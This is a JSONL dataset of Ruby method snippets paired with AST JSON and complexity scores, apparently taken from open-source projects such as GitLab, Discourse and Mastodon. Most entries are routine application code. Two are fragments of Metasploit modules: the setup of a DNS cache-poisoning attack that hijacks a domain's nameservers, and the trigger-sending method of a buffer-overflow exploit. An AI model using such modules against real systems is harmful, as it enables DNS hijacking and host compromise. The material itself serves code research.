{"repo_name":"discourse","file_path":"./repos/discourse/lib/bookmark_manager.rb","start_line":42,"raw_source":"def create_for(bookmarkable_id:, bookmarkable_type:, name: nil, reminder_at: nil, options: {})\n    registered_bookmarkable = Bookmark.registered_bookmarkable_from_type(bookmarkable_type)\n\n    if registered_bookmarkable.blank?\n      return add_error(I18n.t(\"bookmarks.errors.invalid_bookmarkable\", type: bookmarkable_type))\n    end\n\n    bookmarkable = registered_bookmarkable.model.find_by(id: bookmarkable_id)\n    registered_bookmarkable.validate_before_create(@guardian, bookmarkable)\n\n    bookmark =\n      Bookmark.create(\n        {\n          user_id: @user.id,\n          bookmarkable: bookmarkable,\n          name: name,\n          reminder_at: reminder_at,\n          reminder_set_at: Time.zone.now,\n        }.merge(bookmark_model_options_with_defaults(options)),\n      )\n\n    return add_errors_from(bookmark) if bookmark.errors.any?\n\n    registered_bookmarkable.after_create(@guardian, bookmark, options)\n\n    bookmark\n  end","complexity_score":24.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_for\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"bookmarkable_id\"]},{\"type\":\"kwarg\",\"children\":[\"bookmarkable_type\"]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"reminder_at\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"registered_bookmarkable\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bookmark\"]},\"registered_bookmarkable_from_type\",{\"type\":\"lvar\",\"children\":[\"bookmarkable_type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registered_bookmarkable\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"bookmarks.errors.invalid_bookmarkable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"bookmarkable_type\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"bookmarkable\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registered_bookmarkable\"]},\"model\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"bookmarkable_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registered_bookmarkable\"]},\"validate_before_create\",{\"type\":\"ivar\",\"children\":[\"@guardian\"]},{\"type\":\"lvar\",\"children\":[\"bookmarkable\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bookmark\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bookmark\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bookmarkable\"]},{\"type\":\"lvar\",\"children\":[\"bookmarkable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reminder_at\"]},{\"type\":\"lvar\",\"children\":[\"reminder_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reminder_set_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"bookmark_model_options_with_defaults\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmark\"]},\"errors\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_errors_from\",{\"type\":\"lvar\",\"children\":[\"bookmark\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registered_bookmarkable\"]},\"after_create\",{\"type\":\"ivar\",\"children\":[\"@guardian\"]},{\"type\":\"lvar\",\"children\":[\"bookmark\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"lvar\",\"children\":[\"bookmark\"]}]}]}","id":"016c38a7-9ba5-4754-a302-6e05c4e4c479"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/puts.rb","start_line":41,"raw_source":"def self.alias_used(action_alias, params)\n        if !params.kind_of?(FastlaneCore::Configuration) || params[:message].nil?\n          UI.important(\"#{action_alias} called, please use 'puts' instead!\")\n        end\n      end","complexity_score":7.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"alias_used\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action_alias\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Configuration\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_alias\"]}]},{\"type\":\"str\",\"children\":[\" called, please use 'puts' instead!\"]}]}]},null]}]}","id":"a9719e20-5661-45be-a0fb-2c4a011b01d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/quota/size.rb","start_line":42,"raw_source":"def ci_pipeline_size_limit\n            @namespace.actual_limits.ci_pipeline_size\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ci_pipeline_size_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespace\"]},\"actual_limits\"]},\"ci_pipeline_size\"]}]}","id":"d845c6e3-e03b-4c30-974f-18b42dfb2b75"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/counters/buffered_counter.rb","start_line":243,"raw_source":"def positive?(increment)\n        increment.amount > 0\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"positive?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"increment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"increment\"]},\"amount\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"e7dc4a8e-2f22-4442-88c4-2e27cf9f7721"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/overdue_finalize_background_migration.rb","start_line":266,"raw_source":"def groups_helper\n      @groups_helper ||= ::Keeps::Helpers::Groups.new\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"groups_helper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@groups_helper\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Keeps\"]},\"Helpers\"]},\"Groups\"]},\"new\"]}]}]}","id":"a63a69c2-50dd-4a42-b441-e27820966863"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/spoof/dns/bailiwicked_domain.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'DNS BailiWicked Domain Attack',\n        'Description' => %q{\n          This exploit attacks a fairly ubiquitous flaw in DNS implementations which\n          Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target\n          domains nameserver entries in a vulnerable DNS cache server. This attack works\n          by sending random hostname queries to the target DNS server coupled with spoofed\n          replies to those queries from the authoritative nameservers for that domain.\n          Eventually, a guessed ID will match, the spoofed packet will get accepted, and\n          the nameserver entries for the target domain will be replaced by the server\n          specified in the NEWDNS option of this exploit.\n        },\n        'Author' => [\n          'I)ruid', 'hdm',\n          # Cedric figured out the NS injection method\n          # and was cool enough to email us and share!\n          'Cedric Blancher <sid[at]rstack.org>'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2008-1447' ],\n          [ 'OSVDB', '46776'],\n          [ 'US-CERT-VU', '800113' ],\n          [ 'URL', 'http://web.archive.org/web/20160527135835/http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],\n        ],\n        'DisclosureDate' => '2008-07-21',\n        'Notes' => {\n          'Stability' => [SERVICE_RESOURCE_LOSS],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),\n        OptPort.new('SRCPORT', [true, \"The target server's source query port (0 for automatic)\", nil]),\n        OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),\n        OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),\n        OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),\n        OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),\n        OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]),\n      ]\n    )\n\n    deregister_options('FILTER', 'PCAPFILE')\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"DNS BailiWicked Domain Attack\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit attacks a fairly ubiquitous flaw in DNS implementations which\\n\"]},{\"type\":\"str\",\"children\":[\"          Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target\\n\"]},{\"type\":\"str\",\"children\":[\"          domains nameserver entries in a vulnerable DNS cache server. This attack works\\n\"]},{\"type\":\"str\",\"children\":[\"          by sending random hostname queries to the target DNS server coupled with spoofed\\n\"]},{\"type\":\"str\",\"children\":[\"          replies to those queries from the authoritative nameservers for that domain.\\n\"]},{\"type\":\"str\",\"children\":[\"          Eventually, a guessed ID will match, the spoofed packet will get accepted, and\\n\"]},{\"type\":\"str\",\"children\":[\"          the nameserver entries for the target domain will be replaced by the server\\n\"]},{\"type\":\"str\",\"children\":[\"          specified in the NEWDNS option of this exploit.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"I)ruid\"]},{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"Cedric Blancher <sid[at]rstack.org>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-1447\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"46776\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"US-CERT-VU\"]},{\"type\":\"str\",\"children\":[\"800113\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20160527135835/http://www.caughq.org/exploits/CAU-EX-2008-0003.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-07-21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SERVICE_RESOURCE_LOSS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRCADDR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The source address to use for sending the queries\"]},{\"type\":\"str\",\"children\":[\"Real\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Real\"]},{\"type\":\"str\",\"children\":[\"Random\"]}]},{\"type\":\"str\",\"children\":[\"Real\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRCPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target server's source query port (0 for automatic)\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The domain to hijack\"]},{\"type\":\"str\",\"children\":[\"example.com\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NEWDNS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The hostname of the replacement DNS server\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"RECONS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The nameserver used for reconnaissance\"]},{\"type\":\"str\",\"children\":[\"208.67.222.222\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"XIDS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of XIDs to try for each query (0 for automatic)\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TTL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The TTL for the malicious host entry\"]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[30000]},{\"type\":\"int\",\"children\":[49999]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"str\",\"children\":[\"PCAPFILE\"]}]}]}]}","id":"a8dd5d5d-09f2-4c18-a360-4549c8ae3279"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/tags_controller.rb","start_line":10,"raw_source":"def index\n      authorize :tag, :index?\n\n      @tags = filtered_tags.page(params[:page]).per(PER_PAGE)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"sym\",\"children\":[\"index?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filtered_tags\"]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"const\",\"children\":[null,\"PER_PAGE\"]}]}]}]}]}","id":"d2753ecb-29bb-4300-8a94-2698bb45d0e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/nuget_project_packages.rb","start_line":133,"raw_source":"def extracted_metadata\n        if params['package.remote_url'].present?\n          ::Packages::Nuget::ExtractRemoteMetadataFileService.new(params['package.remote_url']).execute\n        else # file on disk\n          Zip::InputStream.open(params[:package]) do |zip|\n            ::Packages::Nuget::ExtractMetadataFileService.new(zip).execute\n          end\n        end\n      rescue ::Packages::Nuget::ExtractMetadataFileService::ExtractionError => e\n        ServiceResponse.error(message: e.message, reason: :bad_request)\n      end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"extracted_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"package.remote_url\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Nuget\"]},\"ExtractRemoteMetadataFileService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"package.remote_url\"]}]}]},\"execute\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zip\"]},\"InputStream\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Nuget\"]},\"ExtractMetadataFileService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"zip\"]}]},\"execute\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Nuget\"]},\"ExtractMetadataFileService\"]},\"ExtractionError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]},null]}]}","id":"9e770638-c8d8-44e7-a7be-cce299d448a8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/quest_pmmasterd_bof.rb","start_line":94,"raw_source":"def exploit\n    unless respond_to?(target[:exploit], true)\n      fail_with(Failure::NoTarget, \"Invalid target specified\")\n    end\n\n    request = send(target[:exploit])\n\n    connect\n    print_status(\"Sending trigger\")\n    sock.put(request)\n    sock.get_once\n    handler(sock)\n    disconnect\n  end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"exploit\"]}]},{\"type\":\"true\",\"children\":[]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Invalid target specified\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"exploit\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending trigger\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"send\",\"children\":[null,\"sock\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"b637cebe-8ebb-47d7-964d-379bd543fb39"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/chat_notification.rb","start_line":328,"raw_source":"def notify_for_pipeline?(data)\n        case data[:object_attributes][:status]\n        when 'success'\n          !notify_only_broken_pipelines?\n        when 'failed'\n          true\n        else\n          false\n        end\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_for_pipeline?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_attributes\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notify_only_broken_pipelines?\"]},\"!\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"ccfd3023-bf31-4e64-8dd9-cd2ecca5c4a6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_awx.rb","start_line":11,"raw_source":"def launch_job\n    job_class = \"#{job_template.class.module_parent.name}::#{job_template.class.stack_type}\".constantize\n    options = job_options.with_indifferent_access.deep_merge(\n      :extra_vars => {\n        'manageiq'            => service_manageiq_env,\n        'manageiq_connection' => manageiq_connection_env(evm_owner)\n      }\n    )\n    _log.info(\"Launching Awx job with options:\")\n    $log.log_hashes(options, :filter => [\"api_token\", \"token\"])\n    @job = job_class.create_job(job_template, options)\n    add_resource(@job)\n    @job\n  ensure\n    # create options may never be saved before unless they were overridden\n    save_launch_options\n  end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"launch_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job_class\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_template\"]},\"class\"]},\"module_parent\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_template\"]},\"class\"]},\"stack_type\"]}]}]},\"constantize\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_options\"]},\"with_indifferent_access\"]},\"deep_merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_vars\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"manageiq\"]},{\"type\":\"send\",\"children\":[null,\"service_manageiq_env\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"manageiq_connection\"]},{\"type\":\"send\",\"children\":[null,\"manageiq_connection_env\",{\"type\":\"send\",\"children\":[null,\"evm_owner\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"str\",\"children\":[\"Launching Awx job with options:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"log_hashes\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"api_token\"]},{\"type\":\"str\",\"children\":[\"token\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@job\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_class\"]},\"create_job\",{\"type\":\"send\",\"children\":[null,\"job_template\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_resource\",{\"type\":\"ivar\",\"children\":[\"@job\"]}]},{\"type\":\"ivar\",\"children\":[\"@job\"]}]},{\"type\":\"send\",\"children\":[null,\"save_launch_options\"]}]}]}","id":"5bbe84a1-7d87-45f7-894a-a2f76b1aca6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/file_hook.rb","start_line":24,"raw_source":"def self.execute(file, data)\n      result = Gitlab::Popen.popen_with_detail([file]) do |stdin|\n        stdin.write(data.to_json)\n      end\n\n      exit_status = result.status&.exitstatus\n      [exit_status == 0, result.stderr]\n    rescue StandardError => e\n      [false, e.message]\n    